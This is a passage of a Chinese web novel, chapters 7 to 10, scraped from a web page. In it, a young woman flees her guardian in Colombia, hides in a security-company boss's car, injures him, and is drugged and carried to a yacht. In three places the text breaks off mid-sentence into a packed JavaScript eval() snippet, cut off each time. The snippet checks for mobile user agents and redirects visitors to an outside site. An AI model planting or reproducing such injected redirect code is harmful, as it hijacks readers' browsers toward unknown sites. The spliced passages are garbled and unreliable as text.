《我是神经病》 7. 第 7 章 傅英年纪虽不大,但有一个那样的父亲,从小生活环境就复杂。他形形色色见过很多人,也算会识人。 岑怀是他父亲的老友,当年在国内得罪了人,被他父亲救下后,辗转到了哥伦比亚。当时的哥伦比亚,正是最混乱最危险的时候,可他就在这样的环境里硬生生闯出了一片天。凭着自己的能力成为了哥伦比亚和东南亚毒品交易市场的中间人。 随着近些年,不管是哥伦比亚还是东南亚政府,都在大力度打击毒品市场,岑怀也审时度势洗白成了投资商人。在那些合作过的毒枭被政府清算时,他低价从官方手里买下对方的资产,暗地里又原封不动送还给他们的家人。就这样,他踩在黑白两道中间,这些年得了名也得了义,谁都没有动他,也不敢动他。 傅英的父亲,也不止一次和他提过岑怀,说岑怀是个有情有义、有眼界的,如果有机会,让他也跟着学学。这也是为什么,傅英会找上岑怀。 而饱受父亲赞誉,他要叫一声岑叔的岑怀,此刻对着一个年纪只比他大几岁的男人,满是谦卑恭敬。这一幕,让傅英不得不重新审视坐在自己对面的那个男人。 “宋总,喝茶。” 刚空运来的新茶,不过简单一泡,就茶香四溢。只是,坐在傅英对面交叠着腿的男人,心思并不在茶上,而是环顾四周。 “看来傅总和家里妹妹的感情很好啊。” 没头没脑的一句话,让傅英一愣,对面的人又继续道:“来哥伦比亚都要把妹妹带上。” 傅英回神,笑笑:“她比较粘人,自小跟着我长大,离不开我。” 一直默不作声坐在一旁的岑怀,这时也适时搭话:“阿英从小就疼妹妹,他还小的时候我回国,要抱他妹妹,他不让,还咬我呢。” 傅英脸微微一涨:“岑叔。” 岑怀笑笑:“看,说说又急了。” 看似闲话家常的对话,却也让茶室里紧绷的气氛瞬间松弛下来。几杯茶下肚,岑怀引着话题,有一搭没一搭地聊着无关生意的闲话,对面原本慵懒疏离的男人,眉宇间也多了几分闲散。 茶过三巡,他也起了身。 “多谢傅总的茶,只不过刚下飞机,时差也没倒过来,有些困了,得去补个觉。这样吧,明天我做东,一起吃个饭,感谢傅总招待。” 傅英点头刚应下,岑怀笑笑。 “到了我的地界,哪有让宋总你做东的道理。宋总今天好好休息,明天去我那坐坐。我那的茶虽然比不上阿英的新茶,但也不算差。” “好。” 说话间,一行人朝着大门外走去。跨出大门时,身形高大的男人本想回头说句“留步”,抬眼的刹那,却瞥见二楼露台上闪过一片洁白的裙摆。 只有裙摆,再无其他。 他不动声色地收回视线,颔首示意后转身离去。立在大门边的岑怀,看着他背影消失不见,才敛起脸上的笑意:“问题应该不大。明天吃饭我就不参与了,你们自己谈。” 傅英心底也有数,人都回国了,还愿意再专门飞一趟来,说明对他出手的资产还有价格是有兴趣的。 送走岑怀,再走进别墅,傅英脸上的笑意也真挚了不少。他缓步上楼,在露台找到了趴在桌上睡着的沈荞。他走近,没有抱她,只是站在风口替她挡着风,然后轻轻抚摸着她的头。 很快,他就可以带她离开,过上彻底没人打扰的生活了。 * 第二天,傅英在和林意核对资产明细资料,阿峰在门边探头探脑,傅英抬眸:“怎么了?” 阿峰犹豫:“荞小姐说想出去走走。” 傅英拧眉思索了下:“让她去吧。你带人跟着她。” 阿峰点头,又道:“荞小姐还说晚上想去岑爷的餐厅吃饭。” 事情有了进展,傅英心情也好了些,也知道昨天让她呆在楼上委屈了她,便没再拘着她。 “晚上我也在岑叔那里,不过得招待客人,没空陪她吃饭。你跟着她,等她吃完了,立刻送她回来。” 阿峰应声转身,刚要走,又被傅英叫住。 “别让她吃辣的。” * 这一次出门,阿峰没带沈荞去烟火气十足的市井市场,也没去高级清冷的商业区,而是选了一处休闲自在的老城区。 斑驳的旧建筑错落交织,吸引了不少游客驻足,街巷里还藏着许多供人歇脚闲聊的咖啡馆。沈荞的脚底刚受过伤,阿峰不敢让她多走动,寻了一家视野最好的咖啡馆,扶着她坐下。随后,他从随身的包里掏出一本沈荞翻了一半的书。 看着那本眼熟的书,沈荞微微讶异。阿峰却一脸自得。 瞧瞧他多贴心,这些年跟着少爷,可不是白混的,他天天都在学着呢。 沈荞接过书,轻声道了句谢,便支着胳膊坐在窗边慢慢翻看。斜斜的日光穿过枝叶的缝隙,斑驳地落在她身上,织出一片暖融融的光晕。 素白的衣裙、暖煦的日光、嫩绿的窗外景致,交织成一幅静谧的画。每个踏进咖啡馆的人,都会不由自主地望去。 可也仅仅是望一眼而已。她周身萦绕着的宁静与疏离,像一层无形的屏障,让人舍不得打破,更不敢轻易打扰。只因为,她的身侧还守着两个身形魁梧的保镖,那双锐利的眼睛扫过来,再好奇的目光也会慌忙收回。 保镖能震慑店里的窥探,却管不住街对面的视线。 街对面的露天咖啡座下,一道毫不掩饰的目光,已经落在沈荞身上许久。久到连守在店里的阿峰都察觉了不对劲,循着转头望去。 看清视线的主人后,阿峰一僵。 那不是住在隔壁的客人,怎么会在这。 恰在此时,沈荞从书中抬起头。 “怎么了?” 阿峰急忙回头,强装镇定:“没什么。” 嘴上说着没什么,可他那震惊的眼神,还是让沈荞察觉到了异样。她顺着阿峰目光刚才的方向,侧身望去。 熙熙攘攘的人群里,一道高大的身影正悠闲地坐在遮阳伞下。男人戴着一副墨镜,逆着光,虽看不清面容,可那慵懒的姿态与挺拔的身形,已经足够惹眼。 沈荞望着窗外的男人,男人也望着窗内的她。 沈荞刚才展现给窗外的,还只是侧影,此刻她转头,脸庞正好映在热烈的阳光下,光晕模糊了她的五官,只余下近乎圣洁的柔和。 也就在这时,她的柔和被阿峰挡住。 “荞小姐,要不……我们还是换家店吧?” 沈荞蹙起眉:“为什么?” 阿峰张了张嘴,想解释,目光却下意识地瞟向窗外。这一眼,他又愣住了。街对面的遮阳伞下,早已没了身影。他摇摇头,低声道:“没什么。” 阿峰错开身子,沈荞的视线重新变得通透。喧闹的街景再次映入眼帘,只是这一次,入目的只是是流动的人潮,并没有那个静坐的身影。 沈荞合上书,缓缓起身。 “走吧。” 这会离晚饭的时间还早,阿峰便询问沈荞的意思,沈荞淡淡开口:“那就珠宝店吧。” 阿峰愣了下:“珠宝店?” 在国内的家里,沈荞拥有满柜的珠宝,都是傅英给她买的。可是沈荞从来不戴也不感兴趣,阿峰怎么也没想到沈荞会想去珠宝店。 他还没来得及问,沈荞的下一句话让他心底猛地一沉。“今天是我生日,傅英没给我准备礼物。” 完了—— 阿峰心底的念头只有这么一个。 怎么把这位祖宗的生日给忘记了。 八年来,沈荞的每一次生日,傅英都看得比自己的还重。不仅会摆生日宴,还会搜罗各种珠宝送给她。去年沈荞的十八岁,他斥巨资拍下一颗近三十克拉的粉钻,作为她的成年礼。 傅英对沈荞的用心,他身边人都看在眼里。每年他都记得,都不需要人提醒,所以久而久之,身边人也就不记这件事了。 阿峰头皮发麻,一边送沈荞上车,一边掏出手机打电话,电话通后,对面沉默了许久,最后只是一句:“她喜欢什么,都买下来。” 阿峰:“那……晚饭?” “你先陪着她,我尽快把事情谈完。” 挂了电话,阿峰坐进车里,小心翼翼地打量着后座沈荞的脸色。她的神情平静得过分,而这份平静,让阿峰心里更没底。 怪不得今天破天荒说要出门走走,这是呆在家里伤心呢。 车子没开出去多远,阿峰就接到了一个电话,挂了电话,他就让司机转了道。七拐八拐车开到了离餐厅不远的一栋建筑前停下。从外头看,是个简单民居,可刚跨进门,就看到了门边挎着枪的安保,弄得人心底一紧。再往里走,豁然明亮,一排排的展柜,还有展柜里闪闪夺目的珠宝。 站在展柜后的,是一个东方面孔,漂亮的东方面孔。听阿峰说是岑爷介绍来的之后,那女人灿烂一笑,从柜台后走出,引着他们上楼。 楼上是单独的房间,珠宝也不再陈列,而是放在一个个盒子里,锁在保险箱里。如今,这些被锁起来的珠宝全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16957768|193206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部显现在沈荞眼前,女人噙着笑,看着沈荞。 “荞小姐看看,喜欢哪一个款式?” 沈荞扫过眼前的绚烂珠宝。 她都不喜欢,但是……她都要。 沈荞:“都还不错。” 轻飘飘一句话,让女人笑意更盛。她抬眼看向立在沈荞身后的阿峰,阿峰也没有犹豫:“给我账号,我安排转账。” 一进一出不到半个小时,车里就多了价值上千万美金的首饰。阿峰扭头,再看沈荞:“荞小姐,还要不要去哪逛逛。” 沈荞侧着头看着窗外:“找个安静的地方吧。” 阿峰思来想去:“那要不还是去岑爷的餐厅。后头有茶室,很安静。这过去就几分钟,一会您也可以直接就在那用晚饭。” 沈荞没有反对。 “好。” 到餐厅,把沈荞送进茶室,一切安排好后,阿峰让保镖跟着司机赶紧把那些珠宝首饰送回去。刚安排走车,阿峰的电话就响了,他接起。 “少爷。” “在岑爷的餐厅。” “买了,荞小姐很喜欢一款项链,正拿着玩呢。” 沈荞在茶室里坐着喝茶,翻着刚才没翻完的书,翻到一半,傅英来了,他脸上满是歉意。 “对不起,这几天太忙了。忘了你的生日。” 沈荞抬眸,静静看着他。 “没关系的。” 沈荞说没关系,可傅英不这么认为,他走到沈荞身边,抱着她,又是连声说了好几句对不起。 沈荞抬手,回抱住傅英。 “真的没关系的。” 沈荞的音调很轻,也很柔和。傅英抱了她很久,才松开她。松开她后,又牵着她的手和她保证。 “我不会再忘记了。” 沈荞笑笑,表示不介意。傅英又摸了摸她的头,垂眸时看到了她放在桌上的项链。款式简单,但坠着的那颗钻石却夺目。 “到美国定居后,把国内的那些首饰也带出来。” 沈荞轻轻点头,那乖顺模样让傅英又忍不住捏了捏她的脸。 “今天怎么这么乖?” 沈荞没应,只是环住他的腰,钻到他怀里。 “陪我一起吃晚饭?” 傅英又露出歉意表情:“陪你,但是得迟一些。你自己先吃,好不好?” 沈荞点头:“好。” 沈荞应完,傅英低头,轻轻在她额间落下一个吻。然后又说了句对不起。 沈荞没言语,只是静静抱着他。 不知过了多久,门口传来敲门声,傅英松开她,替她理了理碎发。 “到时间了,你先去吃饭,我接待完客人,就去陪你。” 沈荞点头,在傅英走后,她也往包厢去。 今晚,她无需点菜,傅英已经安排好了一切。都是她喜欢吃的菜,还有蛋糕。蛋糕不能久放,阿峰问她要不要先放冰箱,沈荞摇摇头,说想吹蜡烛。阿峰犹豫了下,还是给她拿来了蜡烛。插蜡烛前,他还是顿了下:“要不要等少爷?” 沈荞摇摇头,阿峰也没再坚持。 蜡烛点亮,灯光熄灭。沈荞把手中的项链挂在脖子上后,闭眼双手合十许愿。 呼—— 烛光吹灭,灯光再次点亮。沈荞抬手切了蛋糕,自己吃了一块,剩下的没再动了。 慢悠悠吃完蛋糕,吃了菜,沈荞抬眼看向立在一边的阿峰。 “傅英什么时候过来?” 阿峰愣愣:“我去看看。” 没过多久,阿峰回来了,还有点忐忑。 “可能还要一会儿,少爷他喝了点酒。” 沈荞先是蹙眉,后是无奈。 “好吧,那我先去下卫生间。” 阿峰不语,默默跟随,一路跟到女卫生间,他守在门外。时间一分分过去,等在外头的阿峰渐渐察觉到了不对劲。他敲门:“荞小姐。” 门内没有任何回应,心头一紧,他拧门把手,没拧开。来不及思索,他直接一脚踹开。 门晃晃悠悠,卫生间里空空荡荡,只有一扇半开的半窗。 看着空无一人的卫生间,阿峰头炸开一般。他二话不说扭头朝餐厅里最隐蔽的包厢走去,压抑着最后的理智,他没有直接闯进去,而是让守在门口的保镖把包厢里的林意叫出来。 林意走出包厢,眉头紧锁。 “怎么了?” 阿峰脸色惨白,声音里带着止不住的颤。 “荞小姐……不见了。” 8. 第 8 章 牵了线、组了局,功成身退静待好消息的岑怀,正端着茶杯慢悠悠品着。茶室的门突然被推开,手下慌慌张张地闯进来。岑怀本就因被打扰而心生不悦,见他这副失魂落魄的模样,脸色更是瞬间沉下来。 “什么事,这么慌慌张张?” “傅……傅少爷的妹妹不见了。” “什么?” 岑怀猛地站起身,茶杯重重磕在茶托上。他顾不上追问细节,大步就往门外走。平日里安静雅致的餐厅,此刻早已乱作一团。大门被死死锁住,一群身形高大的保镖逐个包厢搜查,桌椅碰撞的声响、惊呼声,打破了原本的静谧。 这是他的地盘!就算傅英是他看着长大的小辈,这般行事也未免太过鲁莽,完全没把他放在眼里。 到底还是年轻气盛,沉不住气。 岑怀脸色铁青:“阿英人呢?” “傅少爷去监控室了,您要过去吗?” 岑怀拧着眉,语气冷硬:“客人呢?” “还在里面。” 岑怀没去监控室,而是冷着脸调转方向朝包厢走去。走到门口,他深吸一口气压下怒意,脸上堆起得体的笑容,推门而入。 “宋总,真不好意思。让您受惊了。” 坐在主位的男人漫不经心笑笑:“受惊谈不上,就是这生意嘛,就算了吧。” 岑怀连忙赔笑:“宋总,不至于不至于。阿英他就这么一个妹妹,难免紧张在意些。小孩子,又正青春期,叛逆、胡闹。也实在让人头疼。” “无妨,我也理解。不过做生意嘛,也讲究一个顺。一次也就罢了,两次就是劫了。时间也不早了,我也得回去了。我会留几个人帮着傅总一起找的,像您说的,就一个妹妹,丢了是紧张。” 岑怀心里一慌,连忙上前想再挽留,可男人根本不给他机会,径直带着人往门外走。岑怀亦步亦趋地跟在后面,一路赔着不是。直到走到大门口,男人临跨出门时,才忽然停下脚步。 “岑爷放心,买卖虽然不成,但我们交情还在,什么时候回国,告诉我一声,我做东。” 岑怀心底压着火,面前却得噙着笑。 “那是自然。那宋总,您慢走。” 把人送上车,开着车选去,岑怀扭头,面上的怒意再盛不住。 “到底怎么回事?” 一直战战兢兢跟在身后的手下连忙上前:“查……查过了,卫生间的窗户开着,像是……像是自己跑出去的。” “废物!” 一声饱含怒意的废物,也不知道是说谁。 * 另一头,慢慢驶出的车上,坐在主驾的司机瞥了一眼后视镜,轻声询问:“宋总,去酒店吗?” 靠在后座的人没应,司机心领神会往酒店方向开去。 无人言语,车内一片静谧,连呼吸声都显得格外清晰。车子碾过路面的减震带,轻微颠簸了一下。原本阖着眼的男人陡然睁开眼,眼神锐利。 “停车。” 方向盘一转,司机毫不犹豫把车刹停在路边。轮胎摩擦地面发出刺耳的声响。紧随其后的几辆保镖车也纷纷紧急刹车,整齐地停在路边。 车停稳后,司机扭头:“宋总,怎么了?” 男人没说话,沉着脸推开车门下了车。司机和一众保镖也立刻跟着下车,神色警惕地环顾四周。 这是一段荒无人烟的公路,除了他们的车队,连过往的车辆都没有。 而下了车的男人在绕到车后备箱旁后,朝着最近的保镖面前,伸出了手:“枪。” 保镖没有丝毫犹豫,立刻从腰间拔出枪递给他。 咔哒—— 清脆的上膛声,男人握着枪,冷眼看了司机抬一眼:“打开后备箱。” 司机一头雾水,但还是乖乖按下了后备箱的开关。 后备箱门缓缓升起,刚露出一条缝,众人就瞥见里面蜷缩着一个白色的身影。待门完全打开,一个瘦小的身躯便彻底暴露在众人眼前。 那身影不仅瘦小,还睁着一双湿漉漉的眼睛,怯生生地望着他们,白皙的小脸写满惊恐,看起来可怜又无助。 原本绷紧神经的一众保镖瞬间松懈下来,面面相觑。 刚才餐厅里的混乱还历历在目,这突然出现在他们车上的身影,身份自然不言而喻。唯一需要弄清楚的,是她怎么出现在他们车里的。 保镖们彻底放松了警惕,原本满脸戾气的男人,在看清那瘦小身影的瞬间,周身的冷意也瞬间褪去。他随手将枪塞回保镖手里,大步上前,在所有人惊愕的目光中,弯腰将蜷缩在后备箱里的瘦小身影直接抱了出来。 男人身量高大,陡然升空的落差让瘦小身影下意识环住了他的脖子。水盈盈的目光,就这么落在男人紧绷的侧脸上。 “谢谢……” 轻柔的语调刚出口,话音未落,瘦小身影便骤然下降,还没站稳就被推到了保镖堆中。 “送回去。” 男人的声音毫无波澜。 “啊……” 一众保镖还没回过神来,原本可怜兮兮的人却陡然变了神色。 “不许给我送回去!” 几秒前还温温柔柔的声音变得尖利,拔高的音调里带着不容置疑的命令口吻。就是这口吻,让本已转身要上车的男人顿住脚步,缓缓回头。 “你说什么?” 麦德林的夜风带着凉意,男人的语调比夜风更冷。一众保镖瞬间变了神色,就连一直茫然的司机也不由露出担忧的眼神,看向那瘦小的身影。可她却仿佛全然不觉,再次重复:“我说,不许送我回去。” “呵……” 一声冷笑后,男人向前跨了一步。也就在这时,一众保镖纷纷伸手去拉人。 “傅小姐,听话,我们送你回去。傅总找您都找疯了。” 平平淡淡的语气,明显关切的话语,不知哪一句刺激到了瘦小身影。她猛地扭头,一拳挥向拽着自己手腕的保镖的脸。 “闭嘴!” 毫无防备的保镖被打的踉跄着后退两步,刚站稳,两道鲜血便从他的鼻尖涌了出来。 突如其来的爆发,让在场所有人都愣在原地,包括正一步步走近的高大男人。他原本冰冷的眼眸里,闪过一丝不易察觉的幽光。 寂静中,收起拳头的身影转身一步步朝着男人走去。刚才还放松警惕的保镖瞬间恢复了紧绷状态,下意识要上前阻拦,却被男人抬手制止。 一步,一步,她走到男人面前站定。悬殊的身高差让她不得不仰起头,修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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举着枪扣动了扳机的人察觉不对,神色刚变,她举着枪的手就被男人一把攥住,下一秒,她整个人被狠狠拉近刚被枪抵着的胸膛,下巴也被死死捏住。 “妹妹,你哥哥没教过你社会险恶吗?”男人的声音带着压迫感,“敢拿枪对着我?” 捏着下巴的力道越来越重,白皙的小脸上,眼神却越来越冷。就在两双同样冰冷的目光僵持对撞时,那垂在身侧的纤细小手,不知何时已经攥成了拳头。 紧接着,那能把成年男人一拳打得流鼻血的力道,直直朝着男人最脆弱的部位挥去。 “嗯……” 一声闷哼,捏着纤细下巴的大手骤然松开。高大的身躯瞬间垮塌下来,弓成一团,高昂的头颅也垂了下去。就在这时,纤细的手伸出,一把薅住眼前那浓密的黑发,拳头如雨点般落下。 “宋总!” 一声惊呼惊醒了呆滞的保镖们,一众人高马大的黑衣保镖瞬间涌上前,一半人出手去制止不断挥拳的人,另一半人则去搀扶蜷缩在地上痛苦不堪的男人。 一片混乱中,只有始终茫然的司机,此刻更茫然了。 9. 第 9 章 成辉乘坐直升机抵达麦德林时,已是深夜时分。直升机直接降落在医院顶楼停机坪,他刚迈下舱门,便看见天台旁站着几个垂头耷脑的健硕身影,一股火气瞬间窜了上来。 哥伦比亚混乱多年,明里暗里盘踞着多方势力,各国势力也借机纷纷渗透,大多以安保公司的名义扎根于此。而成辉,正是占据哥伦比亚安保市场半壁江山的远峰安保公司明面上的老板。至于这家公司真正的幕后大老板……此刻正躺在楼下的病房里。 一个安保公司的幕后大老板,在自家安保团队的护送下,竟被一个小姑娘伤进了医院,还是以那般难堪的方式,伤在那样的位置。成辉接到电话时,只当是手下人开玩笑,确认消息属实后,他的脸色瞬间沉到了谷底。 身着蛙服、脚蹬军靴的成辉身形魁梧,从直升机上下来的瞬间,周身的压迫感便已全开。原本就垂头丧气的保镖们,头埋得更低了。 “老大。” 为首的保镖声音发颤。 成辉的目光如利刃般扫过众人,满腔怒火竟一时不知从何骂起。事情的来龙去脉他早已了然,此刻只冷声问:“人在哪?” “宋总在病房,那小姑娘……在车里。您是先去看宋总,还是……” 这句话,彻底点燃了成辉憋了一路的怒火。 “你他妈脑子被炮轰了?这种蠢话也问得出来?” 这个时候去看大老板,不等于是去看他的笑话吗?蠢货,一群愚不可及的蠢货! 懒得再多费口舌,成辉转身就走,径直走进电梯,一路直达一楼。从电梯后门出来便是停车场,空寂的车场里,一辆车的大灯亮得刺眼,车身四角各站着一名黑衣保镖,同样是一副垂头丧气的模样。 “老大!”保镖们齐声问候。 成辉连眼皮都没抬:“人在里面?” 黑衣保镖点头。成辉深吸一口气压下情绪,径直拉开副驾驶车门,还未落座,便看见后座缩成一团的瘦小身影,白皙的小脸上一双水润的大眼正眨巴着,满是警惕直直看向他。即便早已做好心理准备,此刻亲眼见到真人,成辉还是愣了一下,心底的怒火莫名消了大半。 这样一个看似柔弱的小姑娘,又有着清白来路正经身份,换做是他在场,也会松懈三分。 毕竟谁能想到,就是这样一个看似无害的,正经人家的小姑娘,下手竟如此生猛…… 他打量着后座人纤细的身形,再联想到现在躺在病房里的人,眼中闪过一丝难以言喻的怪异,随后才坐进车里。 关上车门,成辉轻咳一声缓和了语气,从兜里掏出一个证件,扭头递了过去:“小姑娘,这是我的证件。我是退伍军人,不是坏人,你不用怕我。” 缩在后座的人伸出纤细的手指接过那本红色证件,即便看清了证件内容,眼中的警惕分毫未减。 成辉看出来了,又道:“外面这些人,也都是退伍军人。我们都是正经做事的,不会伤害你。” 和哥伦比亚其他鱼龙混杂的安保公司不同,远峰安保的安保清一色是退伍军人或退役警察,都受过正规训练,国家良好教育,骨子里带着帮扶弱小的潜意识习惯。 这在国内是美德,可在枪支泛滥、毒品横行的哥伦比亚,这种习惯往往会成为致命的破绽。成辉不知强调过多少次,可还是出了这样的事。一想到这里,他又忍不住暗自窝火。 成辉叹口气,又细细打量了依旧缩在后座的身影两眼。 说她胆大也胆大,说她胆小也胆小。 听说是自己跑出来的,还带了颗600w美金的钻石。不管是人还是钻石,本都应该好好送回去的,可现在,他也不敢做这个主。 “时间不早了,我先让人送你去酒店。有什么事明天再说。你不用怕,不会有事的。” 成辉也是得到了准确的检查报告才这么说的,否则,今天这事,可就真大发了。 下车,成辉示意把人先带去酒店看着,然后自顾自又折回医院里。 刚上楼,就看到手下在病房门口给他使眼色。成辉心领神会,叹口气就拔腿往病房里走,刚走进去就听到一道阴沉的声音。 “把人给我带过来。” 成辉自进病房就垂眸,没有看病床上的人一眼。示意病房里的人都出去后,他用看似合理的理由平静道:“这是医院,闹开难免引人注意。人已经送到酒店看着了,不会跑的。” 说完,成辉心底暗自叹气。 本想还想试探能不能把人送回去的,现在看……悬! 成辉一心想大事化小,小事化了,把小姑娘送回去,可没问过小姑娘自己愿不愿意。 与此同时,去往酒店的车上,司机老何瞥了一眼后视镜,看到后座的人已经蜷缩着睡着了,忍不住对副驾的保镖叹了句:“这姑娘心可真大。” 副驾的保镖是跟着成辉多年的老资历,闻言无奈地笑了笑:“你还说她心大,我看你才是心大。人都钻进你车后备箱了,你都没发现。” 老何也一脸无奈:“当时餐厅里那么乱,小刘他们都冲进去了,就剩我一个人。她什么时候悄摸钻进去的,我是真没察觉。看来是真老了,该退休了。还好没出大事,否则……” 后面的话,他没说下去,可两人都清楚,这次的纰漏,事后必定要清算。 车子抵达酒店,后座的人却依旧睡得很沉。保镖拉开车门,正要上前把她抱下来,她便睁开了眼睛。 * 夜色深沉,酒店房间里,瘦小的身躯弓着背蜷缩在硕大的床上,只占据了一个小小的角落,显得格外孤寂。她时不时发出几声呓语,显然正陷在噩梦中,模样惹人怜惜。 怜惜? 端坐在暗影已经静静看了快一个小时的男人扯了扯嘴角,无情下令:“泼醒。” 哗—— 一桶夹杂着冰块的冰水猛地泼在床上,瞬间浸透了被褥和床上的人。原本深陷梦魇的人陡然睁眼,下意识半坐起身。 湿漉漉的发丝黏在脸颊和额角,衬得一张小脸愈发白皙。湿透的白裙紧紧贴在身上,勾勒出看似瘦弱却玲珑的曲线。 坐在暗处的男人眼神微沉,拎着水桶的保镖则垂下眼睑,默默退到了角落。 麦德林的夜晚温度适宜,寻常时候连空调都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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成辉口中的莫哥,是他当年在特战队的队长,军事素质顶尖,对下头弟兄更是没话说。当年成辉从部队退役,本打算回老家谋生,是莫哥主动问他,愿不愿意去自己弟弟的公司帮忙。 成辉惶恐,他能帮衬什么…… 结果,确实是帮衬,帮着莫哥看着他弟弟。他也才知道,在部队平易近人的队长出身京城宋家。 宋家自清末发家,民国抗战时期便捐钱捐物,族中子弟纷纷投身抗日。历经数代,族人姻亲遍布商政军三界,也算得上是当代门阀。 这样根正苗红的家族,子弟本该个个走正道,可偏偏主家这一代,出了个宋柏。做生意确实是一把好手,只是性情极为凉薄,行事也毫无章法可言,谁的面子也不给,什么交情也不顾。 在国内有法制约束,再张扬也闹不出人命,可到了国外,枪支、毒品……这些都成了催发人性劣根的催化剂。 这也是成辉为什么会在哥伦比亚的原因。有他在,最起码这安保公司是正儿八经的安保公司,而不是武装军。 成辉也不是想拿人压人,他是真怕闹出人命。 “不会弄死她,我会让她好好活着的。” “还有,把嘴闭紧了。” 说完,男人转身就走,只给成辉留下一个高大的背影。成辉一边示意人跟上,一边掏出手机打电话,电话刚接通,便传来深沉的男声。 “宋柏又干什么了?” 10. 第 10 章 宋柏干什么? 宋柏正站在舱门处,看着机舱后排,绑着安全带占据一个座位,阖着眼呼吸浅浅的瘦小身影皱眉。不等他发问,坐在前排的保镖扭着头扯着嗓子对他嚷道:“怕她伤到您。” 宋柏的眼神从被捆得和粽子一样的身躯上扫过,面露讥讽。 就剩一张嘴了,还能咬死他? 讥讽归讥讽,跨步上机时,腿间传来的钝痛让他的神色狰狞了一瞬,不过很快就压了下去。 直升机在夜色中起飞,很快融进浓墨般的夜空里。 轰鸣声中,前排的保镖时不时回头看向后排。后排是三人座,一个位置被昏睡的瘦小身躯占着,剩下的两个位置,几乎被男人高大的身躯填满。男人阖着眼,看似在假寐,周身却透着生人勿近的冷意。 两人都没有声响,若不是其中一人被五花大绑着还被打了安定,一个受着伤的话,也算得上是和谐的场景。 保镖是新指派的,没见到此前混乱的场景,此时看人,若只看身高体型差,先不论缘由,其实也能理解那小姑娘为什么使那种阴招了。 在绝对的力量压制下,攻下盘是很有效的招数。就连他们,受训时,也学过。只是要用……时机和角度都很重要,小姑娘抓住了时机,但攻错了人啊…… 保镖正思绪万千,直升机突然遭遇气流,机身颠簸了一下。他猛地回神,下意识回正头看前方。 保镖回头瞬间,后排本昏昏睡的身影因为颠簸身子一斜。她的手被绑着,安全带没能完全固定住上身,瘦小的身躯从安全带的缝隙里滑了出来,直直朝另一侧倒去。 坐在一旁的人有所感知睁眼,先扑向他的,是一股甜腻腻,类似奶香的气息。这气息让他一怔,也就是这怔然瞬间,倒来的身躯彻底砸下,单薄的肩头正正好砸在他结实的大腿上,至于坚硬的头颅…… “嗯……” 刚因为颠簸回头的保镖突然听到一声闷哼声,保镖急忙回头,看清后排的场景后,彻底傻眼了。 “宋总……” 保镖急切出声的同时,心底只有一个念头。 完了完了,彻底完了。 保镖慌了,后排的人则是攥紧了拳头弓起了身,短短时间感受到的第二次瞬间极致痛楚让他眼中怒火中烧。再看近在咫尺的纤长脖颈,他没有丝毫犹豫,伸手便掐了上去。 大掌刚掐上,都没用力,便感受到满手的细腻温热还有跳动。 咚—— 咚—— 咚—— 那专属脖颈间的心脉跳动,一下一下又一下,痛楚缓缓消退间,他能感受到自己胸腔间的跳动和手下的跳动渐渐同频。 咚—— 咚—— 咚—— 刚绷紧,都还没用力的大掌,就这么缓缓展开,粗粝的大拇指腹按在跳动最剧烈的地方,摩挲着。本阴沉的神色也就随之渐渐缓和。 而本神色慌张的保镖,亲眼目睹了后排那莫名平和却又极其诡异的场景后,本欲出声的他闭上了嘴,僵着脖子默默转过了头。 心脏猛跳,他却不敢回头。 直到…… “外套给我。” 默默脱下外套,默默递到后排,眼看着自己的宽大外套被盖到那瘦小身躯上后,保镖请示:“要不要把空调调高些。” 感受着手掌下的温热渐渐变凉,脉搏跳动也逐渐变缓,男人沉着脸,点了头。 机舱温度逐渐升高,年轻血气旺的保镖坐在前排被风直直吹着,没多久就流了一身汗,可即便如此,他也不敢动一下温度。就这么,一路飞行着,直升机终于降落。 四周漆黑一片,唯有下方一片光亮。保镖先行下机,借着光亮往下看,先行到的弟兄正站在甲板上向他招手,他们正在一艘游艇上。漆黑的四周正是大海。 海风吹走了一身燥热,刚才憋出的汗瞬间凉透,带着刺骨的阴冷。但保镖也顾不得这些,急急去拉开舱门。本想将昏睡的人抱下,抬眼才发觉,她已被人横抱而起,细腻又纤细的手无意识垂落,轻轻晃动着。 看到那手,保镖一怔,下意识往座位看去,本该五花大绑绑在人身上的布条散落,随意堆叠在一起。 一路跟随,看着高大身影把人放在床上,还拉了被子给盖上,保镖眼神一动,给身边弟兄使了个眼色后,悄悄退到了甲板上掏出了卫星电话。 “喂,老大!” “放心,没事,我感觉大老板不会跟人小姑娘计较。最多就是吓唬吓唬就给人送回去了。” 目睹刚才一切的保镖信誓旦旦,结果不过补了个觉的功夫,再睁眼,又懵了。 湛蓝的天空,蔚蓝的大海,和煦的海风,带着墨镜的男人悠闲半靠在休闲椅上。如果忽略他怀里半抱着、头悬在栏杆外的瘦小身影的话,也算是个惬意的闲散场景。 才信誓旦旦和老大保证的保镖拉着身旁的弟兄急忙就问怎么回事,得到的却只有同样迷茫的眼神。 所有人都不知道阴晴不定的大老板想干什么! 沈荞是被刺眼的阳光晃醒的,半睁着眼、意识混沌间,她下意识叫了声“傅英”,随即便感受到腰间结实的臂膀,和身下温热的身躯。 迎着刺眼的阳光,她眨了眨眼,意识彻底清醒的瞬间,也看清了近在咫尺的那张脸。 “醒了?” 与深沉男声同来的,是搭上她脖颈间的大掌。粗粝的指腹摩挲她的脖间,一下又一下,沈荞的眼神也随之一寸一寸变冷。 